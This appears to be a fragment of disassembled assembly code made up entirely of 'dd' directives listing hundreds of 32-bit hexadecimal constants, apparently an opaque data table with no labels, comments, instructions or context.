		dd 6F1C14C0h, 0AB02055Ch, 1D5DA45h, 2949BEF7h, 60C64557h
		dd 99E63320h, 4C20D52h,	1E5D3168h, 716E0BCCh, 5B9DCB8Fh
		dd 9FE01B47h, 17FA427Dh, 5A82C3AEh, 9E8FC941h, 9D73519Bh
		dd 1A7CF169h, 0F9D3CFC4h, 0A4E3BEE7h, 9ACC8B83h, 5401399Ch
		dd 4E550E81h, 1D7B6605h, 0B7DCE70h, 0F37C89B6h,	0C27EF5AAh
		dd 5C77784Ah, 7830DCB5h, 0A38671A6h, 0E3E8F49Dh, 2D4D7B6Dh
		dd 16934945h, 0F0E8090Eh, 8D6BDFB3h, 93419DF6h,	0F2EB2357h
		dd 2ED622A0h, 0AC1C389Ah, 0D039BE76h, 2E55D82Bh, 0FE80202Fh
		dd 90845226h, 19CF52C3h, 0EC1C216Eh, 55C26A0h, 0C766B823h
		dd 0E3B4601Dh, 4CD976D2h, 0A2B3E45Eh, 0ADAAD167h, 714DA5D1h
		dd 57147D2Ah, 0BA45FE88h, 0C1E39DE7h, 1498E790h, 0F0E1E816h
		dd 5B523364h, 3667E6AAh, 50FC3AA3h, 4615C2C4h, 8498E3FBh
		dd 8EC480E4h, 21C7679Eh, 0F2ABA7C0h, 186B5CECh,	17A56D0Ah
		dd 8C257952h, 0D37FCD7h, 7273DD38h, 2FDB20D4h, 0FA0BFA52h
		dd 11C7D3C4h, 38C3AA1Eh, 0CB99D54Ch, 0BD11AF64h, 0F57471CCh
		dd 1876C03h, 225E0FFCh,	61771146h, 0A3C34BE9h, 2B0D5FFEh
		dd 0A95BC95Ch, 6528FB32h, 0CB735305h, 138D775Fh, 0D75E375Fh
		dd 0E1A6DF5Dh, 10D84312h, 6382139Ch, 51721853h,	229BD2C8h
		dd 40698531h, 0AE3B3536h, 0FFC3F843h, 30CC48BDh, 1722B30h
		dd 0D5782F9Eh, 6A6D3F27h, 2A96A9E0h, 0E4252EAh,	892490E5h
		dd 6CE66535h, 0FE174F9Eh, 7CC60D4Fh, 4C9CEA8Dh,	112C4FB3h
		dd 68500D9Ah, 0FD85E6BEh, 80AA4848h, 0EE10C7E2h, 9FAC5AC5h
		dd 0FA6657Eh, 0B0ADA63Ch, 0C42BC87h, 0A44AD262h, 0C0D28E82h
		dd 0B086FCBCh, 84A7D9D1h, 3BE78C75h, 7D3B11DEh,	24B32D0Ch
		dd 9F54EECFh, 94EDDF6Ah, 6A9508B5h, 29F8EAB2h, 33555BB8h
		dd 0A1E5BFD0h, 2EE51012h, 0A893A89Eh, 29AC2557h, 889E8583h
		dd 283DD989h, 8FBDFF1Bh, 0E13DB37Ah, 0F2DE69Fh,	0A89D1CAAh
		dd 6547814Dh, 0A6DFD16h, 0A8E3A13Ah, 293B24DEh,	4355F672h
		dd 2C291D3h, 0CEA40C18h, 41593ACAh, 519449F4h, 69364B83h
		dd 57BC6CEBh, 565BBEFDh, 82A0D673h, 9C1E224h, 1FAB9BFh
		dd 7375D9C4h, 9AC79108h, 6046E5Bh, 495D70E9h, 499F04E7h
		dd 842D371Dh, 0AA18D87Eh, 0C4F8DF7Bh, 112F6E94h, 7B8B25D5h
		dd 991E8288h, 2BF54357h, 2C80FA2Fh, 87F9E1BEh, 0E463E211h
		dd 5A114F81h, 0F005E2ABh, 6C7F1203h, 16BD7AC1h,	6E30F36Bh
		dd 0BE3848BDh, 6CA67F17h, 5A75BAE2h, 7F58BADCh,	61466931h
		dd 2CA82887h, 0C2EC1CA6h, 6446D4BFh, 0C60A29h, 7AD4E4ADh
		dd 0D74266C6h, 0CF39D196h, 6261DBBh, 5A4F9D73h,	0F7BB71E7h
		dd 0BDD89247h, 0A5E08F04h
		dd 87B487DBh, 554889ECh, 0A96B0C2Ah, 14B8FD4Bh,	2B2931F2h
		dd 0DC40A649h, 4AC1AB2h, 8CFB2ABBh, 0A203C309h,	0FEE4649Fh
		dd 37CAB9D4h, 672F9DDBh, 0E3473DB4h, 9ADC9D4Eh,	407EABB5h
		dd 0E4B517Ch, 19D49BDBh, 5464D296h, 0DFCF7C51h,	9DB7BD06h
		dd 0D4F23E1Eh, 3893C2F5h, 15819866h, 0B24AB432h, 0FDAB9200h
		dd 62CFAA2Fh, 1FE1DE57h, 100C5769h, 81BC7846h, 6CE299A8h
		dd 88E98090h, 4B67153Bh, 23B102C5h, 4811DABAh, 1C0E5E06h
		dd 27C54555h, 0B438E445h, 90791594h, 3B908F55h,	73108702h
		dd 0DAAE0A58h, 8C9F2E02h, 22F58C00h, 28B83E2Fh,	5A70C9D3h
		dd 0DD89C7E3h, 323D7C77h, 76E58BC9h, 2AA44C33h,	4FAE8E03h
		dd 1B7FB2A3h, 0E04A7A26h, 642AB5C7h, 3468BD2Dh,	5C7C7089h
		dd 0BC508074h, 0A745FA90h, 957D8EB8h, 2E95546Ah, 87555934h
		dd 0D3192000h, 33F81C54h, 0C794501Fh, 8DEC157Eh, 0B3368081h
		dd 0E6CF408h, 82CE7C69h, 2EA37A20h, 8C22C9EDh, 0C489724h
		dd 1772D432h, 3BFBC6EDh, 4A6CCB9Ch, 84593FC3h, 0DB57839Ah
		dd 0FB0768FCh, 3C4FA34Bh, 92D994DCh, 4679AE41h,	865C8278h
		dd 75CAE7BCh, 825B9B4Dh, 0CCF820A7h, 96A1FAF1h,	7DE95799h
		dd 13CBFAEDh, 9D6B86D5h, 4A02FD5Dh, 0D55C2BC7h,	8EB607DFh
		dd 0B1BF083Ch, 475919DCh, 0E6830246h, 0C2F7174Eh, 7F40E4Bh
		dd 5C1FD7A9h, 0D8C4985h, 0EEEE0EE1h, 0B6B3616Fh, 0E2B86157h
		dd 25D706CBh, 42681933h, 4E85BD9Bh, 6248549Ch, 0FBD91497h
		dd 14AE9315h, 0E7B7B21Eh, 57075587h, 2F6147D1h,	8D71488Ah
		dd 9BA46E8h, 595027A2h,	474BB74Eh, 0D53E142Ah, 0CA773D7Bh
		dd 0FD4A033Eh, 0CB406622h, 60FF80B2h, 0E1E224B9h, 0DD51A300h
		dd 0B92C69E8h, 48D49FE4h, 622FCDD0h, 0F96614BEh, 37050081h
		dd 33A2EE1Fh, 0D7982A7Eh, 0D2C4C809h, 5567C4B4h, 0DF54A84Ah
		dd 0C3FDD512h, 3DADE221h, 7FC5C600h, 5A5F611Bh,	0F65ABD7h
		dd 296AA991h, 80199B05h, 814A7C1h, 0EFFBBE38h, 0DE28DBE0h
		dd 0E1D365B9h, 8DBE7281h, 55DABAF6h, 0D9C28ED8h, 1BB23926h
		dd 8B25BC90h, 0FF655CB3h, 4C680978h, 494048B5h,	0CCE07345h
		dd 6EB3097Ch, 0DFC016A6h, 86D843BFh, 4AA49E44h,	96B8A0CEh
		dd 86D1822Bh, 0D571BF14h, 36E4B7Dh, 1B7DA656h, 0CCECB9FFh
		dd 16394924h, 0DFFA0B20h, 0D002BF5Dh, 0B9B00DF2h, 2D4B96F1h
		dd 3B0F5EF8h, 3EC73B6Fh, 7E7DD9Ah, 51ED943h, 6FBD40Ch
		dd 0CCD6B559h, 78A28E88h, 0C6975120h, 25388602h, 0D5DF1EC7h
		dd 0E3B4EDF0h, 92D1074Ah, 0F33F37B7h, 9F67FBFEh, 727224EFh
		dd 0D74963D6h, 1B20A205h, 1DEB7013h, 0A54985Fh,	578F29BEh
		dd 0B639F0Dh, 332A0C40h, 6C50EE19h, 4382ABDDh, 9B1EF5FDh
		dd 0B708F7A9h, 17C71485h, 6C9A52A4h, 7BA082A7h,	0E27DCAD0h
		dd 80AC2413h, 521ED3F9h, 716A1201h, 0F99FD3F5h,	0DCDEB9B3h
		dd 0CA89D3D0h, 0F1B50A95h, 3002F163h, 0B4E2C320h, 0BAA42331h
		dd 675DA349h, 1A7DC40Dh, 8C8B8403h, 0BDF5CA1h, 0EE1B1F84h
		dd 13858067h, 9073A093h, 41FA455Ah, 8B94EA52h, 5526321Dh
		dd 511A8811h, 124993F2h, 0FB6C7E31h, 40A476B2h,	676BE7B9h
		dd 0A65E7BDDh, 5EE5FFBBh, 97AB0539h, 49DFE39Ch,	0B5BF79C7h
		dd 309EBDBCh, 8197C53Ah, 19953F56h, 8C37544Ch, 0F7282C68h
		dd 0CFF0D335h, 0A6503CF3h, 7BE48E41h, 0E628F5F5h, 6CCC2437h
		dd 9B668C5Ch, 7A7598C1h, 10616345h, 0FF4FB7F8h,	4922612h
		dd 139A0208h, 6B48B54Fh, 0FE7D6BAAh, 6A98F9E8h,	7575F6C6h
		dd 98F38FC5h, 0BB4B66E7h, 0A5924938h, 0ED09B429h, 67F3B69Fh
		dd 70A16DB6h, 0DF8B9CDFh, 0FE224C27h, 4B9FD0BFh, 95B0ED33h
		dd 0BA6E4DE8h, 0B043A788h, 86EBE4DBh, 0C370CFCBh, 0DF3A55B8h
		dd 70FB4215h, 0F03862D6h, 1628BA7Ah, 4A16C036h,	5EBEF3DDh
		dd 6E26DC56h, 0F4AF69F3h, 0FE63018Dh, 0DD3B5F1Fh, 6811C9Ch
		dd 39A6F1A6h, 8E4B2FBBh, 0ACD320AAh, 9963BF46h,	4B13C6C6h
		dd 9B59D988h, 2B55EC58h, 0C946EBE6h, 9275ADB4h,	3A903178h
		dd 24F5179Fh, 4B29EA44h, 0EAD68A31h, 84BC29AAh,	0F7DB3F3Dh
		dd 75233476h, 32664881h, 33AE80C8h, 297B3DAEh, 1793AFB8h
		dd 7094ECF0h, 8323A037h, 87510EE0h, 0D4A5292Eh,	0F2A3355h
		dd 0E9236775h, 0A8E0762Ah, 0DDF0987Eh, 0BEBFB123h, 83B84276h
		dd 648CCABFh, 0D3B1EFB8h, 787609F0h, 7BF5253Dh,	1CC29B2Dh
		dd 8F681CDEh, 0F3BA44Dh, 0FB2609B1h, 13B202B5h,	15DAE632h
		dd 1FB84143h, 39D0EDFh,	4DDEF9EDh, 24C5E58Bh, 3C9D4EA5h
		dd 9C567E3Dh, 6E3FA825h, 1DD0DF61h, 0D830C754h,	0A6F66B74h
		dd 9D3D374Bh, 4477810Bh, 0AD3D92FAh, 529B30CDh,	5E70BFD1h
		dd 9073CC57h, 0C824FC74h, 4D442F0Ah, 86A9C503h,	2F6D139Bh
		dd 6CDA0056h, 0BD5025F6h, 1274FE0Dh, 2FE2F7E2h,	5FFF7801h
		dd 5F4A86DFh, 7362123Bh, 93BC8766h, 1827B174h, 2F33F00Dh
		dd 0E9F601FBh, 0F52A79FCh, 78EA1E31h, 356920BAh, 0F3F5C966h
		dd 7EA7C709h, 0ECB473D8h, 6995B74Fh, 0A5DBC820h, 0EFE56FB5h
		dd 3E8546E7h, 0E626BB94h, 0F677D626h, 609E4111h, 63C93B19h
		dd 3208038Ah, 4A4D5EFEh, 0FFA42595h, 4F72B530h,	43858EB7h
		dd 0F0AFB9DBh, 23157593h, 2C90603Fh, 0E48C6100h, 312E9BACh
		dd 0D301251h, 0D8F1387Ch, 6F7C3C23h, 0DCB939ABh, 2E3BD7F6h
		dd 0DD62F56Bh, 65695DF5h, 19C25A19h, 1D1322Ch, 0C84B9153h
		dd 92CBA06Dh, 0C4CEAB0Dh, 0B8ED6BB7h, 0EDCDDCBh, 3AC0475h
		dd 380A3908h, 6D2A6185h, 481D2124h, 0AEF2C531h,	0B547D2B1h
		dd 0F4EA336Ah, 5BE46123h, 0C9714D2Dh, 7D1B5800h, 0A8330FF9h
		dd 0EDD77CDDh, 3B1E685h, 0B57AC3B9h, 88D39D27h,	1C2A26CCh
		dd 0DA4EDAA6h, 854BBAC7h, 3B44E8D1h, 0DCDF0A72h, 95E3C686h
		dd 5405BD25h, 219A56E5h, 24B97B7Eh, 3A5810C0h, 0DF64AEFBh
		dd 0AE38B0Fh, 7370C24Eh, 9F69BF15h, 52D7CCB2h, 0F81C049Ah
		dd 0F12D5A81h, 94B2B933h, 673FA556h, 17370616h,	25A411h
		dd 0DECFEBh, 14DFCC86h,	604977F1h, 5AEFFD7Bh, 0EF10448Ch
		dd 5D4F120Eh, 0A973C6B7h, 0CAF9D52Fh, 0D79540E0h, 7EDEAE0Eh
		dd 63225CB4h, 9574AF9Ah, 8B129025h, 35672BB7h, 6D32C49Eh
		dd 0B31D90D0h, 0BED7AE17h, 6BFA1FC8h, 0DCBFD144h, 7AD3E5B7h
		dd 23003F15h, 0A71E7537h, 1D0D6EB1h, 0B5A2D5DFh, 94C08ECEh
		dd 4CF4307Dh, 5A5B6D31h, 14014EAAh, 0E5A75418h,	3C62DE6Ch
		dd 7C9AB446h, 0D88AF2E7h, 2F4F604Bh, 556F39C3h,	626E93C5h
		dd 5AE2B7FCh, 2951860Ah, 0C4F29FE6h, 0E932726Ch, 4FE8A0E0h
		dd 0DB2B90EAh, 0A06A6B44h, 75F44347h, 8CD35A7Ch, 0F32E2210h
		dd 79620635h, 28A9A7AFh, 61EDB05Fh, 5F6A6E14h, 0A9E5AB3Ah
		dd 0B5A2DDBDh, 0A9FA81BDh, 4A40943Ch, 0FF72B9A6h, 82B0FC8Dh
		dd 0DA3E580Eh, 0ECE2CC76h, 3314847Ch, 0A361E5F3h, 95925F13h
		dd 234042Ch, 7BFA612Dh,	9BAA9E04h, 0E4FCD9C9h, 96A78503h
		dd 0F5493027h, 738A4623h, 0A0B82A5Dh, 34C57E9Bh, 27E722C6h
		dd 8BBE21E3h, 0B7D8F6CDh, 61D3F093h, 8B5831F5h,	79FC5560h
		dd 0E1BBD121h, 28310D41h, 6E789D3Dh, 0DFB65FD8h, 0CC329C80h
		dd 0E03B10E1h, 6D5010DDh, 72B4BB12h, 95D5E30Dh,	7AC5045Ah
		dd 0E6DEC747h, 95736468h, 67A73B58h, 75881E79h,	8024356Eh
		dd 0AE7FAF7Dh, 6A14542Bh, 9DBAFB15h, 3CE6478Ah,	0F8B5CFC5h
		dd 0F3B5F4h, 0E85B211Eh
		dd 0FAB46312h, 0DB9BBDF0h, 2E684404h, 1CDF0D0Fh, 6A7DED92h
		dd 9860082Bh, 9B511E91h, 90ED3CCFh, 17C0D334h, 88268DDFh
		dd 0EB7A9795h, 706491A6h, 0E9F0F722h, 3C5C4F3Eh, 42C9CD33h
		dd 0FD62090Dh, 0DF42831Ah, 36BD222h, 0A25D0BEh,	0FD693BCEh
		dd 0A7807791h, 0DBFE91ACh, 78EF6244h, 31320DF8h, 0EA23B8E8h
		dd 6EAF5E18h, 1688E5B3h, 178D2E37h, 0EABD3402h,	0BA7C4B91h
		dd 92FA5B4h, 14C8C283h,	31B7632Ch, 0E5426257h, 974AC0FEh
		dd 0B288C8B0h, 0BE192F80h, 7DA557E4h, 83F78AFFh, 72160228h
		dd 59E44FA1h, 7C751CC2h, 5598764Eh, 0BE39EEBEh,	0E6C16BA5h
		dd 91FF9C39h, 0BE8E856h, 2867F2E0h, 0C0549813h,	5D2CE0F3h
		dd 0C2CA50A7h, 0B6710EC0h, 0D23B6DC6h, 0B31CC83Dh, 0DE2D6023h
		dd 297E7B0Ah, 13E05B21h, 3454B37Fh, 39A33CCFh, 113D6654h
		dd 32BB885Fh, 23C7ED62h, 8DB8963Ah, 32FA236Bh, 41D0A5B6h
		dd 8C695F72h, 0AE72670Ah, 0A4E3D85Fh, 4808F081h, 1FAED7AEh
		dd 0A673843Bh, 0F6BC3FDEh, 0A1CF09A8h, 511CF9DAh, 0D0E64F51h
		dd 75DF91F3h, 0FEC27233h, 69AB2B9Ch, 0AEB61ED5h, 7DB49E65h
		dd 9BEE0A8Bh, 29AC3969h, 258D16C1h, 289EF445h, 15C54C05h
		dd 0E4B96161h, 0A9F4DBAAh, 0E2371EC1h, 4DE06B9Eh, 8E6E8677h
		dd 0F3518B3Eh, 55A24806h, 4F99FF4Fh, 1B075CC0h,	3DB021F6h
		dd 30C4C4E1h, 0DE43F7EBh, 83CC354h, 40FC3F47h, 0DBFFE8A5h
		dd 2F3C84EEh, 0DF1C3875h, 0CEA1A27Eh, 0BA72524Bh, 9859C29Ch
		dd 90E35075h, 4604B6ADh, 49BA4230h, 0DEEE9E39h,	0BB7FA325h
		dd 0DB397D2Ch, 74172BCAh, 7C7FDC95h, 8A60F528h,	8F555467h
		dd 49AF0554h, 34AD6F9Dh, 680F6E30h, 0E09266Ch, 76D35691h
		dd 7BF0E6D2h, 996910F1h, 483B100Ch, 3481430h, 58B57806h
		dd 5090A9Bh, 0C0A5AD98h, 0BB98BC7Ah, 0A396DC28h, 0ADB0A146h
		dd 0A28C957Dh, 2E43F2BBh, 3F0C5069h, 85D73F0Ch,	0C826EE24h
		dd 77E39BAh, 5270805Dh,	0DC1E956Dh, 0BFE6D4D4h,	69E68E03h
		dd 0ED8BC09Dh, 3E127590h, 0CCDE57DCh, 0BEB8400Eh, 2CB0AD9h
		dd 29863449h, 249C1A8Ch, 598D0874h, 806169A6h, 0A7BFE8A0h
		dd 0EA4049EAh, 0B69DDCEh, 7D697A42h, 4323DA88h,	1F6771AEh
		dd 0C076A9E7h, 35768F51h, 324F86C1h, 0D1D7AB34h, 17037213h
		dd 4D381B0Ah, 0A69B2777h, 64A92A0Ah, 0CCE2EF52h, 166098ADh
		dd 0A957F2BCh, 43CF2828h, 33829853h, 0D35F7072h, 0AEDC028Fh
		dd 4B45B0FFh, 53F8F690h, 194A5B68h, 0CF6C732Fh,	668B425Bh
		dd 7707AC97h, 5F06692h,	0F7647F2Fh, 7DAB70Ah, 458C391Ah
		dd 8C5E4F88h, 75ACF4E7h, 0B9FE6D22h, 0B4C52B82h, 0CD35BC85h
		dd 1CFAB227h, 93B41F34h, 39E19A9Fh, 0D62EDE68h,	0C5CCFA7Fh
		dd 0B662F2DCh, 0C1C994CFh, 0FF1E46D3h, 8814B46Ch, 96739ABCh
		dd 40F1FB9h, 688FFB18h,	79F23FA5h, 0DCCCD035h, 11D70C4Bh
		dd 47ADB956h, 8B612EBDh, 61BFB0A6h, 0ED0724A3h,	1CAEB040h
		dd 6D024EEh, 80637F00h,	0B148AA46h, 0DA3EAFE3h,	10989A1h
		dd 7111D840h, 460B3F9Dh, 0AE2D9249h, 79C2BB68h,	6ABE29CFh
		dd 0F16AF719h, 9E54DA64h, 5EABAA6Eh, 0E817A846h, 2A9E1A0Ch
		dd 0A0C85427h, 6D140CF7h, 0B9CC0F9Eh, 0EF6ACED4h, 2BDAC7B7h
		dd 68A75C65h, 983CFF01h, 0D3ED308Fh, 0A4077808h, 13CCA229h
		dd 47E12378h, 58C352AFh, 0F1E613A9h, 25238610h,	0FF3B0A96h
		dd 7FF844ECh, 500A0EACh, 5B0B418Bh, 6BD22C33h, 55C16379h
		dd 0F8C6987Ch, 0C96499CBh, 0B8143881h, 0A7344C63h, 0EB3AC5C8h
		dd 0E9EDE1B3h, 0A7F66579h, 0F59E65EDh, 1372A00Dh, 15930AF1h
		dd 8B976DB1h, 0CFF5D62Eh, 0C27A1C9Eh, 0ED22CDEFh, 545F1FB1h
		dd 0CC80D15Eh, 5E3CED88h, 0B0C7686Ah, 52298895h, 6B40D375h
		dd 0B62A3B88h, 0F47DF530h, 0F24C9077h, 0FB506706h, 2BBBCF2Dh
		dd 9E2993Ah, 0D1737B19h, 715F6DB5h, 9D38F725h, 99ADC04Ch
		dd 0A9662470h, 548D8B75h, 4D790B1h, 0FFF2B973h,	21B5FFEAh
		dd 70EE7554h, 935756D8h, 184AC542h, 37DE1C65h, 1DD107BEh
		dd 180190A2h, 75732F0Bh, 6A8209B2h, 0E807F9A8h,	2F8D9478h
		dd 0AEE8F3EDh, 815406E6h, 4E1929EAh, 890DED49h,	0A1B104Fh
		dd 5F97A56h, 0C2F25BEDh, 0E4CD4CD2h, 0CA6ED661h, 2ECA5942h
		dd 0A1F1AA5Fh, 1E1A934Ah, 3D941A7Eh, 0AC2B1AD8h, 2CC5158Dh
		dd 3578A105h, 0B571CE05h, 0C78A1343h, 0FDD27A9Eh, 0C88650E8h
		dd 8466421h, 2F9C0F95h,	5DA3818Dh, 0F9310015h, 0D5E47A7Dh
		dd 3E3F946Bh, 89E8BE77h, 39E285FDh, 7ED9A434h, 0F446075Fh
		dd 9D54A61Bh, 6EA52BE4h, 45B9A339h, 399DA34Ah, 66EFEB53h
		dd 11B8A418h, 1EE91FC2h, 891DA40Eh, 7ADA2D3Ch, 0CDD77862h
		dd 52F6B608h, 506B0830h, 6828E6A4h, 0B06E7DD9h,	0A9E1481Bh
		dd 52CA5D14h, 0BBA36141h, 6A36675Ch, 4B5BBDAEh,	0BC988B68h
		dd 91887D26h, 0AC3CD84Ch, 0FBD4100Ah, 9B2CFBC2h, 0F6C94BF2h
		dd 0FAA17672h, 4C982384h, 0E0D16EAh, 91E075CAh,	3581614Fh
		dd 0FD6DC2ACh, 32E54013h, 9B12AB5Fh, 40C8E8C6h,	0FE5146E1h
		dd 0D0689C02h, 0C8FA6227h, 7E91567Bh, 0E3C53891h, 6B97B454h
		dd 75F7C7DFh, 213A3B49h, 2CD1242h, 0F2CFAB40h, 26A42B99h
		dd 49115F68h, 2D3B3799h, 8E223C40h, 70D6F007h, 8EBED535h
		dd 9367BF80h, 0DEA32F17h, 3F2F7736h, 913CBF6Ch,	2061D504h
		dd 88FA9DDAh, 1E8EA539h, 161EC9F9h, 83A8345Dh, 6C65D89Ah
		dd 0EE7E2840h, 0C0ABB964h, 56D6026Ch, 5BFCC984h, 9F27B77Ch
		dd 8405CDC1h, 0DC40D40Ah, 6443F3Fh, 31384909h, 0EAB7FAE4h
		dd 246E115Eh, 0F9018F3h, 42870811h, 0FA9F2107h,	0C4CAAE2Dh
		dd 393ABE78h, 150FAFBh,	0CEFA0A85h, 9E8FA83Ah, 2607934Ch
		dd 1C0925Ah, 2F15BBFFh,	0E4F3D270h, 61BACEC4h, 968992BEh
		dd 0CDC764A4h, 0ED71DA68h, 6D2776CAh, 8F7172B0h, 8B50CBF0h
		dd 2778E64Eh, 8ACEC62Ah, 1F1AE1D8h, 70664F51h, 0BCAE7B83h
		dd 6961DFA3h, 2B8DA9B2h, 3BEF2237h, 0F3B52C95h,	3357D811h
		dd 1E7E4302h, 969BA398h, 9C581A4Dh, 6A68D268h, 0E401F2E0h
		dd 1AF8ACBEh, 1DCF7AF5h, 5E9E7D78h, 0A23AD55Ah,	0FDD09808h
		dd 1E62656Ch, 0DB2C2A08h, 5D1C8E72h, 0B8EF03AEh, 0F7C17B01h
		dd 53C928F9h, 3DD8CAB5h, 508C0371h, 4FAEAD85h, 1988C1E0h
		dd 386B7F7Ch, 0EB5641ACh, 8BB5BB5Ah, 0CA2D9795h, 0B2FDA380h
		dd 87B7F2F2h, 471FDCC9h, 12BE5F9Bh, 0EC740ACCh,	817F1144h
		dd 853967DEh, 0CF61CC99h, 86749F09h, 66ACC5F4h,	0AC506CF0h
		dd 9D0DED70h, 2C77A180h, 756654DAh, 68828081h, 68CAAAFh
		dd 0A603EFFAh, 8AAD7FCEh, 5D7C8EEFh, 31A4B8C4h,	13A3362Ah
		dd 1D40AA57h, 0F6EF1573h, 3BBB9ADAh, 0FE671BC6h, 0AC10A7A0h
		dd 7A292A71h, 0E739A72Fh, 0D3B5B38Ch, 0E2EF0894h, 67BE5FACh
		dd 1FDB6563h, 7FFFD711h, 5CD6CEDAh, 0A5216C72h,	82E7F974h
		dd 0FAB9F66Dh, 0EAC796CAh, 173980E4h, 0C8540E42h, 0B6BEB61Dh
		dd 3AAC14F8h, 0A8268998h, 83D3CCDCh, 4161EC31h,	0B9B5AAB1h
		dd 6A5AD8D0h, 73DEFE38h, 0BCCBFE1h, 0E3C9702Dh,	55DFBC05h
		dd 185A087Ah, 0DF1DD86Dh, 29988308h, 4B1AA5E6h,	0CB724CFBh
		dd 0C9AB8960h, 0A8586F1Bh, 6EDC3AFEh, 0CC359D8Bh, 0F616F24Dh
		dd 0E10A5377h, 0D6468581h, 293AE27Fh, 6A311FA5h, 40AA0556h
		dd 0AD2BA417h, 1DE7AF1h, 474B2F1Dh, 1C915B27h, 27E3FEAAh
		dd 2CD3E610h, 906607C0h
		dd 3BB32A62h, 0AB4F3A09h, 0A36953DAh, 64034979h, 5670A21Dh
		dd 945CBF01h, 0FC6A4883h, 0F2D958D1h, 0B97924C3h, 0C9446CCDh
		dd 39C0BE52h, 5EF495E5h, 0BA0F71F6h, 643008B9h,	0AEF7026Fh
		dd 9CF38DB0h, 555B34ACh, 82869396h, 5BA70E44h, 0F7B0E024h
		dd 79A25CDEh, 0AF2BB986h, 1B7D28D6h, 6B86BFD7h,	0A46D5A73h
		dd 0F7BCA000h, 4339A5CCh, 0C0651AF1h, 0BF5BCAC4h, 0B789C8E4h
		dd 38EF68h, 8DD734D8h, 65DE832Fh, 39797DFEh, 0DB2C774Bh
		dd 5713EAEAh, 5DEB2E0Dh, 0A4CF60EEh, 0ABC50470h, 0E2E2AD23h
		dd 2BEDFA55h, 1428A0AEh, 6EC6A8F7h, 0B506C91Fh,	9C8768FBh
		dd 0B4E58E87h, 58F53A5Fh, 41DC6F5Dh, 3F1CA481h,	250D13D6h
		dd 15B96B38h, 865A3E4Eh, 0CD96644Fh, 1E7BABBh, 6C7CDF37h
		dd 4216F78Ah, 0FA6D23ECh, 742CD616h, 62918C2Bh,	3C1F0A89h
		dd 49D770CBh, 0FA6AB610h, 9F7D3623h, 0EDD2F11Ch, 9838DDBDh
		dd 7389C5D6h, 4CBB1078h, 0C0D62377h, 3B401CB0h,	31DE06Dh
		dd 0D79DA959h, 4CAE4A13h, 0DE9C0F62h, 861152F6h, 12925707h
		dd 1AB96A7Ah, 0D9D98426h, 0AAC9E3Ch, 50EA18C2h,	1C0CAC93h
		dd 0AE353599h, 98C5A87Bh, 0B5866CF2h, 478FD42Bh, 24DBF628h
		dd 0D805A021h, 363A7544h, 0C3243E79h, 313E0883h, 0E1C5E3BBh
		dd 22170A55h, 3898C55Ah, 67C78FB8h, 0A824524Dh,	4D713165h
		dd 3236DD20h, 0F2C22320h, 0E5FC95A7h, 740D0708h, 700080DAh
		dd 0B25A12FDh, 0C3A8C6CAh, 96D8E48Ah, 58323E24h, 95376258h
		dd 1B096D54h, 9068C814h, 0AC97CB79h, 0A6EE94Eh,	0C8EBB5F6h
		dd 0EC316828h, 7176FC2Fh, 0EC540211h, 2B416F9Dh, 0F432232Dh
		dd 38C6CA37h, 95E20F2Dh, 0B931E028h, 119D29D4h,	0F54C9C73h
		dd 230AB331h, 0AA3A33C5h, 0BF1B5E0h, 0ABC40DE1h, 7AF17E02h
		dd 9E1F24BBh, 5CDC55Dh,	68921611h, 0DD69401Ch, 23347B2Ch
		dd 952DD23Ah, 0C3633B04h, 0FB372CEh, 25436596h,	95D0BA3Ah
		dd 0CFDE55A6h, 0B3442CA4h, 88037FA8h, 0D1A891E5h, 897289A6h
		dd 0B09814E9h, 9FCBD2BAh, 4E94B298h, 3055E998h,	35CA026Bh
		dd 0DACD768Dh, 7A366EB5h, 3684E10Ch, 0FE3A6ABBh, 0EA7AC184h
		dd 49ABEE28h, 15A71EB3h, 8D8FC177h, 9A8E73FCh, 0B0CC6251h
		dd 0EE294B10h, 0D0FD55BFh, 66064120h, 687A366Dh, 0B6E9F47Dh
		dd 90C3C6E2h, 0D2CD9C62h, 0B18EEB06h, 43588A1h,	0D75018A5h
		dd 9C46C72Ah, 0ABCB7AF6h, 0DF595DB9h, 81E8FA1Bh, 99BAF0C7h
		dd 37CC6CDDh, 80554430h, 0A20664DCh, 3BB03522h,	8C6B842Dh
		dd 8E48A5A0h, 9634B54Bh, 83700BCAh, 5A149787h, 2862AB8Eh
		dd 0EBA1FD93h, 9ADEC05Dh, 6D3B7A6Ch, 6C704B33h,	21B42B39h
		dd 0F97761DAh, 7587BAD7h, 4AF8B7C0h, 0E24D6918h, 4D754D73h
		dd 0A262D15Dh, 0B29A879Fh, 161BF9D8h, 0B2B984C4h, 5B96D1E3h
		dd 6B38181Bh, 46037133h, 185875F1h, 0AD4B6ED4h,	2A9062DDh
		dd 0BBEA1348h, 9E409B06h, 0D0CE9699h, 0BA0D5E9Bh, 0A0D1D4F9h
		dd 0A270E59Ch, 69FDDE71h, 414D056Eh, 0BB826A04h, 931030C9h
		dd 9D3A21Ah, 9CC1A04Eh,	458AD947h, 0BEB8120Fh, 813947E3h
		dd 39786A90h, 7459BAD9h, 0D569AFE1h, 0C5FED50Fh, 9A1B905h
		dd 0F9F7A441h, 0EF7ADD25h, 470AEBA8h, 0AB65ED34h, 0C4430DAFh
		dd 1D494F2Dh, 0A9673CCFh, 0DEF2C119h, 0C88FF0C9h, 0E2BFCE8Eh
		dd 682688A0h, 0BF09313Bh, 9FE7CC4Dh, 815549D2h,	0F48ACD6Eh
		dd 5CCAD156h, 8FB6A36Fh, 0FC09971Ch, 0F6038F2Dh, 8A135306h
		dd 9DDD109Eh, 6847249Ah, 0E47F6432h, 8097E2D8h,	33EC1DD5h
		dd 7114E131h, 6B157D4Bh, 4978B0E7h, 59171ED8h, 0FC44F518h
		dd 4F168829h, 85F282A6h, 84744F1Ah, 27FA376Ah, 382AC6D8h
		dd 0D3F4FF88h, 3BE62433h, 84BCCB8Ch, 96274C86h,	400C7D40h
		dd 0C67B66FAh, 0EB9C0E94h, 7C694D99h, 85BD1A4Dh, 414A5B62h
		dd 2E5346BCh, 34104BFEh, 0EBA3576Ah, 20D3CE6Ah,	4FC5D011h
		dd 0F2F9EC12h, 0C35D3CB8h, 0B61DD2BDh, 7159A62Eh, 5C866F3Fh
		dd 0EA8CE565h, 0AA47E5ABh, 6109B619h, 0B1D3F5DDh, 2F3DD50h
		dd 0BA130CADh, 40034ECAh, 4C1B0BC6h, 7A0E3C4Eh,	0D245C1DFh
		dd 1EED352Fh, 4E3DD3A0h, 1E36E692h, 7D234670h, 2E60EBE5h
		dd 0B7EF2D2Ch, 79CE4FF2h, 0F10337CAh, 0C737706Bh, 5DAE52FAh
